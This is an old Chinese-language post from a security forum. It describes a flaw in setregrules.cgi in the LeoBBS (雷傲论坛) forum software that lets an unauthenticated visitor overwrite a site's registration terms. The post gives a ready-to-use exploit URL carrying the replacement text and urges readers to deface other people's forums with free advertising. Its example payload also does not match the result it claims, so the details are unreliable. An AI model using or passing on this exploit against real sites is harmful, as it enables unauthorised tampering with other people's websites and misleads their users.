论坛: 菜鸟乐园 标题: 转~一个破坏“雷傲论坛”服务条款的方法~! 复制本贴地址    
作者: yimarong [yimarong]    版主   登录

诉大家一个破坏“雷傲论坛”服务条款的方法~!
通过这一个漏洞你可以修改雷傲论坛的注册服务条款和声明成你所要说的话, 
这样以后每个要注册的用户看到的条款就是你要说的话了。 
到别人的论坛做一下广告也不错:) 

这个有问题的文件是setregrules.cgi, 
利用方法: 
通过构造如下url:  http://169.254.196.68/LB5000/cgi-bin/setregrules.cgi?action=process&therules=pinkeyes is here haha
这样注册服务条款和声明就变成了king is best haha,welcome to www.niuzu.net! 
每个要注册的用户看到你的杰作。 

就是这么简单,去为自己做下费广告吧!:)



地主 发表时间: 08/07 21:07

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号